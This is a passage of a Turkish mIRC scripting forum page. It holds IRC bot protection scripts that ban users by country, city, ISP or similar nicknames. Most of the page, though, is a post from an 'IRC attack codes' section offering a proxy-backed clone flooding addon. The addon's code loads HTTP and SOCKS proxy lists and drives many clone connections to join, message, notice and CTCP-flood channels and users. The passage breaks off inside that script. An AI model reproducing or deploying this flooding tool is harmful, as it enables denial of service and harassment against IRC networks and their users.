elseif $regex($1-,/IP City: <b>(.+)<\/b>/i) { .hadd -ms Sehir $sockname $iif($regml(1),$regml(1),Belirsiz) }
elseif $regex($1-,/ISP Provider:<\/i> <b>(.+)<\/b>/i) {
if $istok($hget(YasakS,$hget(Sehir,$sockname)),$regml(1),191) {
.gzline $+(*@,$token($sock($sockname).mark,1,191)) +5h Yasak Giriş
.hdel -ms Ülke $sockname | .hdel -ms Sehir $sockname | sockclose $sockname | return
}
$iif(!$window [USER=12343]Network[/USER]),window -e [USER=12343]Network[/USER])
echo -t [USER=12343]Network[/USER] [ GİRİŞ ] Nick:4 $token($sock($sockname).mark,2,191) - IP:4 $token($sock($sockname).mark,1,191) - Ülke:2 $hget(Ülke,$sockname) - Şehir:2 $hget(Sehir,$sockname) - ISP:5 $iif($regml(1),$regml(1),Belirsiz) $iif($hget(YasakS,$hget(Sehir,$sockname)),- 4Yasak Şehir Girişi!)
.hdel -ms Ülke $sockname | .hdel -ms Sehir $sockname
sockclose $sockname
}
}
Komut: !yasakid <sil> <Şehir> <ISP>
Bir şehir için birden fazla ISP yasaklayabiliyorsunuz. Örnek Ankara için Türk Telekom, TurkNet, SuperOnline, Vodafone vs. dilediğiniz kadar ekleyebilirsiniz.
Kod: on *:text:*:#Admin:{
if $regex($1,/^[!.]yasak[ıiİ]d/Si) {
if !$2 { msg # Lütfen !yasakid <ekle|sil|list> olarak belirtiniz. }
elseif $regex($2,/^ekle$/Si) {
if !$3 || !$4 { msg # Lütfen !yasakid <ekle> <Şehir> <ISP> olarak belirtiniz. }
elseif $regex($3,/Bel[ıiİ]rs[ıiİ]z/Si) { msg # Böyle bir şehir yok :) }
elseif $istok($hget(YasakS,$strip($3)),$strip($4-),191) { msg # $strip($3) - $strip($4-) girişi yasak listesinde zaten ekli, neyin kafası. }
else { .hadd -m YasakS $strip($3) $hget(YasakS,$strip($3)) $+($strip($4-),¿) | .hsave -o YasakS yasaks.tprk | msg # $strip($3) - $strip($4-) girişi yasak listesine eklendi. }
}
elseif $regex($2,/^s[ıiİ]l$/Si) {
if !$3 || !$4 { msg # Lütfen !yasakid <sil> <Şehir> <ISP> olarak belirtiniz. }
elseif !$istok($hget(YasakS,$strip($3)),$strip($4-),191) { msg # $strip($3) - $strip($4-) girişi yasak listesinde ekli değil. }
else {
var %sil $remtok($hget(YasakS,$strip($3)),$strip($4-),191)
.hdel -m YasakS $strip($3) | .hadd -m YasakS $strip($3) %sil | .hsave -o YasakS yasaks.tprk
msg # $strip($3) - $strip($4-) girişi yasak listesinden silindi.
}
}
elseif $regex($2,/^l[ıiİ]st$/Si) {
if !$hget(YasakS,0).data { msg # Yasak giriş listesi boş. }
else {
msg # Yasak giriş listesi
msg # -
var %:t = 1 | while %:t <= $hget(YasakS,0).data {
msg # $+(%:t,-,$chr(41)) Şehir:4 $hget(YasakS,%:t).item ISP'ler:2 $replace($hget(YasakS,%:t).data,$chr(191),$+($chr(32),$chr(45)))
inc %:t
}
msg # -
msg # Yasak giriş listesi sonu
}
}
}
}
on *:start:if $isfile(yasaks.tprk) { .hmake YasakS | .hload YasakS yasaks.tprk }
on *:snotice:*:if $regex($1-,/Client connecting (on port|at) .+\: (.+) \(.+@.+\)/Si) { who +I $regml(2) }
raw 352:*:{ var %:r $r(1000,99999) | sockopen $+(isp,%:r) www.ipaddresslocation.org 80 | sockmark $+(isp,%:r) $+($4,¿,$6) }
on *:sockopen:isp*:{
if ($sockerr) { .sockclose $sockname | return }
sockwrite -nt $sockname GET $+(/ip-address-locator.php?lookup=,$token($sock($sockname).mark,1,191)) HTTP/1.1
sockwrite -nt $sockname Host: $sock($sockname).addr
sockwrite -nt $sockname Connection: keep-alive
sockwrite -nt $sockname Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
sockwrite -nt $sockname User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.111 Safari/537.36
sockwrite -nt $sockname $crlf
}
on *:sockread:isp*:{
var %:isp | sockread -f %:isp | tokenize 32 %:isp
if $regex($1-,/IP Country:<\/i> <b>(.+)<\/b>/i) { .hadd -ms Ülke $sockname $iif($regml(1),$regml(1),Belirsiz) }
elseif $regex($1-,/IP City: <b>(.+)<\/b>/i) { .hadd -ms Sehir $sockname $iif($regml(1),$regml(1),Belirsiz) }
elseif $regex($1-,/ISP Provider:<\/i> <b>(.+)<\/b>/i) {
if $istok($hget(YasakS,$hget(Sehir,$sockname)),$regml(1),191) {
.gzline $+(*@,$token($sock($sockname).mark,1,191)) +5h Yasak Giriş
.hdel -ms Ülke $sockname | .hdel -ms Sehir $sockname | sockclose $sockname | return
}
$iif(!$window [USER=12343]Network[/USER]),window -e [USER=12343]Network[/USER])
echo -t [USER=12343]Network[/USER] [ GİRİŞ ] Nick:4 $token($sock($sockname).mark,2,191) - IP:4 $token($sock($sockname).mark,1,191) - Ülke:2 $hget(Ülke,$sockname) - Şehir:2 $hget(Sehir,$sockname) - ISP:5 $iif($regml(1),$regml(1),Belirsiz) $iif($hget(YasakS,$hget(Sehir,$sockname)),- 4Yasak Şehir Girişi!)
.hdel -ms Ülke $sockname | .hdel -ms Sehir $sockname
sockclose $sockname
}
}
|
|
|
|
|
ÜLKE Yasaklama Kodu |
|
Yazar: Admin - 02-21-2020, 06:03 AM - Forum: mIRC Scripting Hazır Kodlar
- Yorum Yok
|
|
Socket Koruma botu için Ülke yasaklama kodu
Operlog kanalında !ulke ekle fransa !ulke sil fransa gibi komutlar uygulayabilirsiniz
______________________
Not: Toprak arkadasımızın şehir kodu degişildi ulke yasakla olarak ayarlandı
Duzenleyen İndirme linklerini görebilmek için sitemize üye ol manız veya giriş yapmanız gerekiyor.Sitemize üyelikler ücretsizdir! dir
Kod: on *:text:*:#OperLog:{
if $regex($1,/^[!.][uüÜ]lke/Si) {
if !$2 { msg # Lütfen !ulke <ekle|sil|list> olarak belirtiniz. }
elseif $regex($2,/^ekle$/Si) {
if !$3 { msg # Lütfen !ulke ekle <Ulke> olarak belirtiniz. }
elseif $regex($3,/Bel[ıiİ]rs[ıiİ]z/Si) { msg # Böyle bir ülke yok. }
elseif $hget(Ulke,$remove($strip($3-),$chr(32))) { msg # $strip($3-) ülkesi yasak listesinde zaten ekli. }
else { .hadd -ms Ulke $remove($strip($3-),$chr(32)) $+($strip($3-),$chr(191),$nick) | .hsave -o Ulke Ulke.Yasak | msg # $strip($3-) yasak ülke listesine eklendi. }
}
elseif $regex($2,/^s[ıiİ]l$/Si) {
if !$3 { msg # Lütfen !ulke sil <Ulke> olarak belirtiniz. }
elseif !$hget(Ulke,$remove($strip($3-),$chr(32))) { msg # $strip($3-) yasak ülke listesinde ekli değil. }
else { .hdel -ms Ulke $remove($strip($3-),$chr(32)) | .hsave -o Ulke Ulke.Yasak | msg # $strip($3-) yasak ülke listesinden silindi. }
}
elseif $regex($2,/^l[ıiİ]st$/Si) {
if !$hget(Ulke,0).data { msg # Yasak ülke listesi boş. }
else {
msg # Yasak Ülke Listesi
msg # -
var %:t = 1 | while %:t <= $hget(Ulke,0).data {
msg # $+(%:t,-,$chr(41)) Ülke:4 $token($hget(Ulke,%:t).data,1,191) Ekleyen:2 $token($hget(Ulke,%:t).data,2,191)
inc %:t
}
msg # -
msg # Yasak Ülke Listesi Sonu
}
}
}
}
on *:start:if $isfile(Ulke.Yasak) { .hmake Ulke | .hload -o Ulke Ulke.Yasak }
on *:snotice:*:if $regex($1-,/Client connecting (on port|at) .+\: (.+) \(.+@.+\)/Si) { who +I $regml(2) }
raw 352:*:{ var %:r $r(1000,99999) | sockopen $+(ulke,%:r) www.ipaddresslocation.org 80 | sockmark $+(ulke,%:r) $+($4,¿,$6) }
on *:sockopen:ulke*:{
if ($sockerr) { .sockclose $sockname | return }
sockwrite -nt $sockname GET $+(/ip-address-locator.php?lookup=,$token($sock($sockname).mark,1,191)) HTTP/1.1
sockwrite -nt $sockname Host: $sock($sockname).addr
sockwrite -nt $sockname Connection: keep-alive
sockwrite -nt $sockname Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
sockwrite -nt $sockname User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.111 Safari/537.36
sockwrite -nt $sockname $crlf
}
on *:sockread:ulke*:{
var %:ulke | sockread -f %:ulke | tokenize 32 %:ulke
if $regex($1-,/IP Country:<\/i> <b>(.+)<\/b>/i) { .hadd -ms Country $sockname $iif($regml(1),$regml(1),Belirsiz) }
elseif $regex($1-,/IP City: <b>(.+)<\/b>/i) { .hadd -ms Sehir $sockname $iif($regml(1),$regml(1),Belirsiz) }
elseif $regex($1-,/ISP Provider:<\/i> <b>(.+)<\/b>/i) {
$iif(!$window(@Network),window -e @Network)
echo -t @Network [ GİRİŞ ] Nick:4 $token($sock($sockname).mark,2,191) - IP:4 $token($sock($sockname).mark,1,191) - Ülke:2 $hget(Country,$sockname) - Şehir:2 $hget(Sehir,$sockname) - ISP:5 $iif($regml(1),$regml(1),Belirsiz) $iif($hget(Ulke,$remove($hget(Country,$sockname),$chr(32))),- 4Yasak Ülke Girişi!)
if $hget(Ulke,$remove($hget(Country,$sockname),$chr(32))) { .gzline $+(*@,$token($sock($sockname).mark,1,191)) +5h Yasak Ülke Girişi }
.hdel -ms Country $sockname | .hdel -ms Sehir $sockname | sockclose $sockname
}
}
|
|
|
|
|
Benzer Nick KorumaSı |
|
Yazar: Admin - 02-21-2020, 05:58 AM - Forum: mIRC Scripting Hazır Kodlar
- Yorum Yok
|
|
Benzer nick koruması
nick145645
nick413454
nick454655
nick456457
nick545441
gibi nick girişlerinde kullanabileceğiniz bir koruma
Kod: on *:JOIN:#: {
if ($nick(#,$me,@&~%)) {
var %Clone.join.flood2 = $+(*!*@*.,$gettok($address($nick,2),-2,46),.,$gettok($address($nick,2),-1,46))
if (%clone-join. [ $+ [ # ] $+ . $+ [ %Clone.join.flood2 ] ] == $null) {
set -u3 %clone-join. [ $+ [ # ] $+ . $+ [ %Clone.join.flood2 ] ] 1
}
else { inc %clone-join. [ $+ [ # ] $+ . $+ [ %Clone.join.flood2 ] ] }
if (%clone-join. [ $+ [ # ] $+ . $+ [ %Clone.join.flood2 ] ] >= 2) {
if (%modechanx7 != $true) {
.raw mode $chan +b %Clone.join.flood2
set -u3 %modechanx7 $true
}
}
var %Clone.join.flood = $+(*!*@,$remove($gettok($address($nick,2),1-2,46),*!*@),.*)
if (%clone-join. [ $+ [ # ] $+ . $+ [ %Clone.join.flood ] ] == $null) {
set -u3 %clone-join. [ $+ [ # ] $+ . $+ [ %Clone.join.flood ] ] 1
}
else { inc %clone-join. [ $+ [ # ] $+ . $+ [ %Clone.join.flood ] ] }
if (%clone-join. [ $+ [ # ] $+ . $+ [ %Clone.join.flood ] ] >= 2) {
if (%modechan1MR76567 != $true) {
.raw mode $chan +b %Clone.join.flood
set -u3 %modechan1MR76567 $true
}
}
var %join.flood.ident = $left($remove($gettok($address($nick,3),1,$asc(@)) ,*!*),4)
if (%join. [ $+ [ # ] $+ . $+ [ %join.flood.ident ] ] == $null) {
set -u3 %join. [ $+ [ # ] $+ . $+ [ %join.flood.ident ] ] 1
}
else { inc %join. [ $+ [ # ] $+ . $+ [ %join.flood.ident ] ] }
if (%join. [ $+ [ # ] $+ . $+ [ %join.flood.ident ] ] >= 2) {
if (%modechan1MR541 != $true) {
.raw mode $chan +b $+(*!,$left($gettok($gettok($address($nick,5),1,64 ),2,33),5),*@*)
set -u3 %modechan1MR541 $true
}
}
var %join.flood = $+($left($nick,4),*!*@*)
if (%join. [ $+ [ # ] $+ . $+ [ %join.flood ] ] == $null) {
set -u3 %join. [ $+ [ # ] $+ . $+ [ %join.flood ] ] 1
}
else { inc %join. [ $+ [ # ] $+ . $+ [ %join.flood ] ] }
if (%join. [ $+ [ # ] $+ . $+ [ %join.flood ] ] >= 2) {
if (%modechan1MR != $true) {
set -u3 %clnicks2 1
.raw mode $chan +b %join.flood
set -u3 %modechan1MR $true
}
}
}
}
Benzer nick koruması
nick145645
nick413454
nick454655
nick456457
nick545441
gibi nick girişlerinde kullanabileceğiniz bir koruma
Benzer nick koruması
nick145645
nick413454
nick454655
nick456457
nick545441
gibi nick girişlerinde kullanabileceğiniz bir koruma
Benzer nick koruması
nick145645
nick413454
nick454655
nick456457
nick545441
gibi nick girişlerinde kullanabileceğiniz bir koruma
İndirme linklerini görebilmek için sitemize üye ol manız veya giriş yapmanız gerekiyor.Sitemize üyelikler ücretsizdir!
İndirme linklerini görebilmek için sitemize üye ol manız veya giriş yapmanız gerekiyor.Sitemize üyelikler ücretsizdir!
İndirme linklerini görebilmek için sitemize üye ol manız veya giriş yapmanız gerekiyor.Sitemize üyelikler ücretsizdir!
İndirme linklerini görebilmek için sitemize üye ol manız veya giriş yapmanız gerekiyor.Sitemize üyelikler ücretsizdir!
İndirme linklerini görebilmek için sitemize üye ol manız veya giriş yapmanız gerekiyor.Sitemize üyelikler ücretsizdir!
İndirme linklerini görebilmek için sitemize üye ol manız veya giriş yapmanız gerekiyor.Sitemize üyelikler ücretsizdir!
İndirme linklerini görebilmek için sitemize üye ol manız veya giriş yapmanız gerekiyor.Sitemize üyelikler ücretsizdir!
İndirme linklerini görebilmek için sitemize üye ol manız veya giriş yapmanız gerekiyor.Sitemize üyelikler ücretsizdir!
|
|
|
|
|
Flood Proxy Destekli Clone Saldırı |
|
Yazar: Admin - 02-21-2020, 03:32 AM - Forum: İRC SALDIRI KODLARI
- Yorumlar (1)
|
|
Flood Proxy Destekli Clone Saldırı Addonu
Kod: on *:load: {
if ($version < 5.91) {
echo -a mIRC versiyonunuzu değiştiriniz 6.0+x www.lamerler.com
echo -a 1 >14 >15> Addon Siliniyor...
unload -rs $script
}
else {
echo -a 2Flood Proxy Destekli Clone Saldırı Addonunu Kurdunuz.Soru Veya Sorunlarınız için 2Mail:4 admin@lamerler.com 1Coded ßy ZaiL
echo -a 2Bu Adon Sayesinde Scriptinize Saldırı Menüsünü Çok Kolayca Eklediniz..
echo -a 2Bu program 1ßy lamerler 2tarafından kodlanmıştır.
}
}
menu menubar,nicklist,Channel,status {
-
Proxy Saldırı Menüsü
.1. Proxy Destekli Clone Saldırı :/dialog -m p.cloning p.cloning
.2. Yapımcı ßy ZaiL :/dialog -m yapimci yapimci
}
alias Clones {
if ($dialog(p.cloning)) { dialog -v p.cloning }
else { dialog -md p.cloning p.cloning }
}
dialog p.cloning {
title "| Flood Proxy Destekli Clone Saldırı |www.lamerler.com - www.lamerler.com | "
size -1 -1 268 205
option dbu
tab "Baglanti", 200, 1 2 265 191
box "Server", 8, 5 21 186 21, tab 200
text "Host/Ip:", 9, 7 30 20 8, result tab 200
edit "", 10, 28 28 92 10, tab 200 autohs
text "Port:", 1, 123 30 17 8, tab 200
combo 12, 142 28 46 50, tab 200 size edit drop
box "Nick", 34, 5 45 111 22, tab 200
radio "", 35, 8 54 7 10, tab 200
radio "Öteki", 36, 57 54 22 10, tab 200
combo 37, 16 53 41 50, tab 200 size drop
edit "", 38, 80 54 34 10, tab 200 autohs
box "Baglantı", 45, 6 102 110 67, tab 200
text "Clone sayısı:", 49, 10 111 48 20, tab 200
combo 50, 68 109 43 80, tab 200 size edit drop
text "Mod:", 215, 10 122 15 8, tab 200
combo 47, 68 121 43 50, tab 200 size drop
button "&Baglan", 48, 10 145 101 10, disable tab 200
button "&Baglantıyı kes", 52, 10 157 101 10, tab 200
box "Açıklama", 219, 119 45 142 143, tab 200
edit "", 44, 121 52 138 134, tab 200 read multi autohs vsbar
box "Durum", 39, 6 68 110 31, tab 200
text "Baglı clonelar:", 40, 10 76 47 8, tab 200
text "Açık socklar:", 42, 10 87 41 8, tab 200
button "Açıklamayı Temizle", 53, 6 175 110 13, tab 200
text "-", 41, 78 77 34 8, tab 200
text "-", 43, 78 87 34 8, tab 200
text "Gecikme:", 390, 10 134 25 8, tab 200
combo 391, 68 133 43 60, tab 200 size edit drop
text "Coded ßy ZaiL", 361, 199 29 54 8, tab 200
tab "Firewall", 201
box "Proxy", 236, 3 19 88 170, tab 201
box "Socks 4", 234, 90 19 88 170, tab 201
box "Socks 5", 235, 177 19 88 170, tab 201
text "Host/Ip:", 55, 5 27 20 8, tab 201
edit "", 2, 26 26 62 10, tab 201 autohs
text "Port:", 56, 5 37 17 8, tab 201
edit "", 3, 26 37 62 10, tab 201 autohs
button "&Ekle", 5, 5 48 39 9, disable tab 201
button "&Liste", 6, 49 48 39 9, tab 201
button "&Sil", 7, 5 58 39 9, tab 201
button "Tümünü S&il", 244, 49 58 39 9, tab 201
list 4, 5 69 85 118, tab 201 size hsbar vsbar
list 69, 92 69 85 118, tab 201 size hsbar vsbar
button "&Sil", 72, 92 58 39 9, tab 201
button "Tümünü S&il", 256, 136 58 39 9, tab 201
button "&Liste", 71, 136 48 39 9, tab 201
button "&Ekle", 70, 92 48 39 9, disable tab 201
text "Port:", 67, 92 37 17 8, tab 201
edit "", 68, 113 37 62 10, tab 201 autohs
edit "", 66, 113 26 62 10, tab 201 autohs
text "Host/Ip:", 65, 92 27 20 8, tab 201
text "Host/Ip:", 74, 179 27 20 8, tab 201
edit "", 75, 200 26 62 10, tab 201 autohs
edit "", 77, 200 37 62 10, tab 201 autohs
text "Port:", 76, 179 37 17 8, tab 201
button "&Ekle", 79, 179 48 39 9, disable tab 201
button "&Liste", 80, 223 48 39 9, tab 201
button "Tümünü S&il", 265, 223 58 39 9, tab 201
button "&Sil", 81, 179 58 39 9, tab 201
list 78, 179 69 85 118, tab 201 size hsbar vsbar
tab "Durum", 202
box "Durum", 305, 3 20 261 86, tab 202
button "Msg", 310, 9 72 37 10, disable tab 202
button "Notice", 311, 9 83 37 10, disable tab 202
button "Ping", 309, 9 61 37 10, disable tab 202
button "Version", 308, 9 50 37 10, disable tab 202
button "Part", 307, 9 39 37 10, disable tab 202
button "Join", 306, 9 28 37 10, disable tab 202
text "Kanal:", 313, 47 29 25 8, tab 202
button "Komut", 312, 9 94 37 10, disable tab 202
edit "", 314, 81 28 75 10, disable tab 202 autohs
text "Kanal:", 315, 47 41 25 8, tab 202
edit "", 316, 81 39 75 10, disable tab 202 autohs
edit "", 318, 81 50 75 10, disable tab 202 autohs
text "Kanal/Nick:", 317, 47 51 34 8, tab 202
text "Kanal/Nick:", 319, 47 62 34 8, tab 202
edit "", 320, 81 61 75 10, disable tab 202 autohs
text "Kanal/Nick:", 321, 47 73 34 8, tab 202
edit "", 322, 81 72 75 10, disable tab 202 autohs
text "Mesaj:", 323, 160 73 24 8, tab 202
edit "", 324, 183 72 75 10, disable tab 202 autohs
text "Kanal/Nick:", 325, 47 84 34 8, tab 202
edit "", 326, 81 83 75 10, disable tab 202 autohs
text "Mesaj:", 327, 160 84 24 8, tab 202
edit "", 328, 183 83 75 10, disable tab 202 autohs
edit "", 329, 47 94 211 10, disable tab 202 autohs
edit "''Eskiden'' Yeniye", 331, 202 29 56 10, disable tab 202 autohs
button "Nick Degiş", 330, 158 29 42 10, disable tab 202
box "Bölge...", 332, 158 41 100 29, tab 202
radio "Tümü", 333, 163 48 27 10, disable tab 202
radio "Secerek", 334, 212 48 42 10, disable tab 202
radio "Grup 1", 335, 163 57 30 10, disable tab 202
radio "Grup 2", 336, 193 57 30 10, disable tab 202
radio "Grup 3", 337, 225 57 30 10, disable tab 202
box "Nick Listesi", 338, 3 106 261 85, tab 202
list 339, 5 113 53 76, disable tab 202 size extsel vsbar
button "1.Gruba ekle ", 340, 59 125 39 11, disable tab 202
button "2. Gruba ekle", 341, 59 144 39 11, disable tab 202
box "Grup 3", 370, 207 111 54 79, tab 202
button "Sil", 371, 209 119 19 8, disable tab 202
button "Tümünü sil", 372, 228 119 31 8, disable tab 202
list 373, 208 127 52 62, disable tab 202 size vsbar
list 369, 154 127 52 62, disable tab 202 size vsbar
button "Tümünü sil", 368, 174 119 31 8, disable tab 202
button "Sil", 367, 155 119 19 8, disable tab 202
box "Grup 2", 366, 153 111 54 79, tab 202
list 351, 100 127 52 62, disable tab 202 size vsbar
button "Tümünü sil", 350, 120 119 31 8, disable tab 202
button "Sil", 349, 101 119 19 8, disable tab 202
box "Grup 1", 348, 99 111 54 79, tab 202
button "3. Gruba ekle", 342, 59 162 39 11, disable tab 202
menu "Dosya", 403
item "&Çıkış", 476, 403, cancel
menu "Özeller", 411
item "Ip-Portar", 412, 411
menu "Nick Listesi", 413, 411
menu "Nickleri Degiş", 414, 413
item "Secilmiş Liste", 415, 414
item "Liste...", 416, 414
menu "Nickleri kaydet", 417, 413
item "Secilmiş Liste", 418, 417
item "Liste...", 419, 417
menu "Liste ile baglan", 420, 413
item "Secilmiş Liste", 421, 420
item "Liste...", 422, 420
}
on 1:DIALOG:p.cloning:edit:*: {
if ($did == 2) || ($did == 3) { p.clon.fire.secl 2 3 5 }
if ($did == 66) || ($did == 68) { p.clon.fire.secl 66 68 70 }
if ($did == 75) || ($did == 77) { p.clon.fire.secl 75 77 79 }
if ($did == 10) || ($did == 12) || ($did == 38) || ($did == 50) {
p.cloning.conEcheck
}
if ($did == 38) { if ($len($did($dname,38)) > 6) { p.cloning.fal The length must be al least 6 chars. | did -r $dname 38 } }
if ($did == 314) {
if (& iswm $did($dname,$did).text) && ($left($did($dname,$did).text,1) == $chr(35)) did -e $dname 306
else did -b $dname 306
}
if ($did == 316) {
if (& iswm $did($dname,$did).text) && ($left($did($dname,$did).text,1) == $chr(35)) did -e $dname 307
else did -b $dname 307
}
if ($did == 318) {
if (& iswm $did($dname,$did).text) did -e $dname 308
else did -b $dname 308
}
if ($did == 320) {
if (& iswm $did($dname,$did).text) did -e $dname 309
else did -b $dname 309
}
if ($did == 322) || ($did == 324) {
if (& iswm $did($dname,322).text) && (* iswm $did($dname,324).text) did -e $dname 310
else did -b $dname 310
}
if ($did == 326) || ($did == 328) {
if (& iswm $did($dname,326).text) && (* iswm $did($dname,328).text) did -e $dname 311
else did -b $dname 311
}
if ($did == 329) {
if (* iswm $did($dname,$did).text) did -e $dname 312
else did -b $dname 312
}
if ($did == 331) {
if (& iswm $did($dname,$did).text) did -e $dname 330
else did -b $dname 330
}
}
alias -l p.cloning.conEcheck {
if ($dialog(p.cloning)) {
if (??* iswm $did($dname,10)) && ($abs($did($dname,12)) != 0) && ($abs($did($dname,50)) != 0) {
if ($did($dname,36).state == 0) { did -e $dname 48 | did -e $dname 421 | did -e $dname 422 }
elseif ($did($dname,38)) { did -e $dname 48 | did -e $dname 421 | did -e $dname 422 }
else { if ($did($dname,48).enabled == $true) { did -b $dname 48 | did -b $dname 421 | did -b $dname 422 } }
}
else { if ($did($dname,48).enabled == $true) { did -b $dname 48 | did -b $dname 421 | did -b $dname 422 } }
}
}
alias -l p.clon.fire.secl {
if ($dialog(p.cloning)) {
if (??* iswm $did($dname,$$1)) && ($abs($did($dname,$$2)) != 0) && ($did($dname,$$2)) { did -e $dname $$3 }
elseif ($did($dname,$$3).enabled == $true) { did -b $dname $$3 }
}
}
alias -l p.clon.fire.secl1 {
var %p.clon.fire.secl1 = $did($dname,$$2) $did($dname,$$3)
if ($dialog(p.cloning)) && (!$didwm($dname,$$1,%p.clon.fire.secl1)) {
did -i $dname $$1 $calc($did($dname,$$1).lines + 1) %p.clon.fire.secl1
}
}
alias -l p.cloning.fire.secl2 {
if ($dialog(p.cloning)) {
did -d $dname $$1 $$did($dname,$$1).sel
}
}
alias -l p.cloning.fire.secl3 {
if ($dialog(p.cloning)) {
var %p.cloning.proFile = $sfile($iif(%p.save.cloning.lstPath,%p.save.cloning.lstPath,C:\),Proxy Yazan Dosya ya Çift Tıklayın is,Aç)
if (%p.cloning.proFile) {
set %p.save.cloning.lstPath $nofile(%p.cloning.proFile)
var %i = 1
while (%i <= $lines(%p.cloning.proFile)) {
var %p.cloning.proFile.p = $read(%p.cloning.proFile,%i)
if ($gettok(%p.cloning.proFile.p,0,58) == 2) { var %p.cloning.proFile.p = $gettok(%p.cloning.proFile.p,1,58) $gettok(%p.cloning.proFile.p,2,58) }
if (($gettok(%p.cloning.proFile.p,0,32) != 2) || ($abs($gettok(%p.cloning.proFile.p,2,32)) == 0)) {
p.cloning.fal ClonesX i çalıştırabilmek için IP ve Portları yazmanız gerekir örn: 212.253.43.15:8080
return
}
if (%p.cloning.proFile.p) && (!$didwm($dname,$$1,%p.cloning.proFile.p)) { did -i $dname $$1 $calc($did($dname,$$1).lines + 1) %p.cloning.proFile.p }
var %i = %i + 1
}
unset %p.cloning.proFile.p
}
}
}
alias -l p.cloning.ddnsd {
if ($dialog(p.cloning)) {
if ($did(p.cloning,47).text == Socks 4) || ($did(p.cloning,47).text == Socks 5) {
.enable #p.cloning.DdnsD
.dns $did(p.cloning,10).text
p.clon.stats -Resolving Host/Ip... $time
}
else { p.cloning.jj }
}
}
#p.cloning.DdnsD off
on 1:DNS: {
if ($dialog(p.cloning)) {
if ($iaddress) { var %resulto = $iaddress }
else { var %resulto = $naddress }
did -o p.cloning 10 1 %resulto
.disable #p.cloning.DdnsD
p.clon.stats -Resolved a %resulto $time
p.clon.stats -
p.cloning.jj
}
haltdef
}
#p.cloning.DdnsD end
on 1:DIALOG:p.cloning:sclick:*: {
if ($did == 53) { did -r $dname 44 }
if ($did == 36) { if ($did($dname,36).state == 1) && ($did($dname,38) == $null) { did -b $dname 48 | did -b $dname 421 | did -b $dname 422 } }
if ($did == 35) { if ($did($dname,5).enabled == $false) { did -e $dname 48 | did -e $dname 421 | did -e $dname 422 } }
;if ($did == 46) {
; if ($calc($dialog($dname).w / $dbuw) >= 216) && ($calc($dialog($dname).w / $dbuw) <= 219) { dialog -bs $dname -1 -1 322 160 | dialog -r $dname }
; else { dialog -bs $dname -1 -1 215 160 | dialog -r $dname }
;}
if ($did == 5) { p.clon.fire.secl1 4 2 3 }
if ($did == 70) { p.clon.fire.secl1 69 66 68 }
if ($did == 79) { p.clon.fire.secl1 78 75 77 }
if ($did == 7) { p.cloning.fire.secl2 4 }
if ($did == 72) { p.cloning.fire.secl2 69 }
if ($did == 81) { p.cloning.fire.secl2 78 }
if ($did == 6) { p.cloning.fire.secl3 4 }
if ($did == 71) { p.cloning.fire.secl3 69 }
if ($did == 80) { p.cloning.fire.secl3 78 }
if ($did == 48) { unset %p.cloning.Nlist.conn* | p.cloning.ddnsd }
if ($did == 52) {
if ($sock(p.cloning*)) {
var %p.cloning.go.kit = Www.HackClub.Cjb.Net
if (%p.cloning.msg.quit != %p.cloning.go.kit) { set %p.cloning.msg.quit www.londonchat.cjb.net }
.sockwrite -nt p.cloning.* quit : $+ %p.cloning.msg.quit
.timerPCloning.out 1 1 .sockclose p.cloning.*
}
;.remove CloneX.ini | .remove CloneXo.ini
if ($hget(p.cloning.a)) { hfree p.cloning.a }
.timerP.cloning.Recr off
p.cloning.recr 1
unset %p.cloning.pn %p.cloning.t | .timerp.cloning.* off | p.clon.stats | p.cloning.cmds
}
if ($did == 339) {
if ($did($dname,$did).sel) { did -e $dname 340 | did -e $dname 341 | did -e $dname 342 }
else { did -b $dname 340 | did -b $dname 341 | did -b $dname 342 }
}
if ($did == 244) { did -r $dname 4 }
if ($did == 256) { did -r $dname 69 }
if ($did == 265) { did -r $dname 78 }
if ($did == 340) && ($did($dname,339).sel) { p.cloning.nick.gr.ad 351 }
if ($did == 341) && ($did($dname,339).sel) { p.cloning.nick.gr.ad 369 }
if ($did == 342) && ($did($dname,339).sel) { p.cloning.nick.gr.ad 373 }
if ($did == 349) { did -d $dname 351 $$did($dname,351).sel }
if ($did == 367) { did -d $dname 369 $$did($dname,369).sel }
if ($did == 371) { did -d $dname 373 $$did($dname,373).sel }
if ($did == 350) { did -r $dname 351 }
if ($did == 368) { did -r $dname 369 }
if ($did == 372) { did -r $dname 373 }
if ($did == 306) { p.cloning.runcmd join $did($dname,314).text }
if ($did == 307) { p.cloning.runcmd part $did($dname,316).text }
if ($did == 308) { p.cloning.runcmd privmsg $did($dname,318).text : $+ $chr(1) $+ version $+ $chr(1) }
if ($did == 309) { p.cloning.runcmd privmsg $did($dname,320).text : $+ $chr(1) $+ ping $+ $chr(1) }
if ($did == 310) { p.cloning.runcmd privmsg $did($dname,322).text : $+ $did($dname,324).text }
if ($did == 311) { p.cloning.runcmd notice $did($dname,326).text : $+ $did($dname,328).text }
if ($did == 312) { p.cloning.runcmd $did($dname,329).text }
if ($did == 330) { p.cloning.runcmd nick $did($dname,331).text }
if ($did == 361) { run $did($dname,361).text }
}
on 1:DIALOG:p.cloning:menu:*: {
if ($did == 476) { set %p.save.cloning.srv $did($dname,10).text }
if ($did == 405) { run Www.HackClub.Cjb.Net }
if ($did == 406) { run Www.HackClub.Cjb.Net }
if ($did == 407) { run mailto:CeHeNNeMiNeLCiSi@mynet.com?subject=ClonesX }
if ($did == 409) { run $mircdir/professional/memo.txt }
if ($did == 410) { run Www.HackClub.Cjb.Net }
if ($did == 412) { p.cloning.ipports }
if ($did == 415) { p.cloning.list.nicksch $mircdirClXNickList.cfg }
if ($did == 416) { p.cloning.list.nicksch $sfile($mircdir,"Arşiv") }
if ($did == 418) { p.cloning.list.save $mircdirClXNickList.cfg }
if ($did == 419) { p.cloning.list.save $sfile($mircdir,"Guardar",Guardar) }
if ($did == 421) {
unset %p.cloning.Nlist.conn*
set %p.cloning.Nlist.conn 1
if ($exists($mircdirClXNickList.cfg) == $false) { p.cloning.fal Dosya bulunamadı! }
set %p.cloning.Nlist.conn.f $mircdirClXNickList.cfg
p.cloning.ddnsd
}
if ($did == 422) {
unset %p.cloning.Nlist.conn*
set %p.cloning.Nlist.conn 1
set %p.cloning.Nlist.conn.f $sfile($mircdir,"Select file")
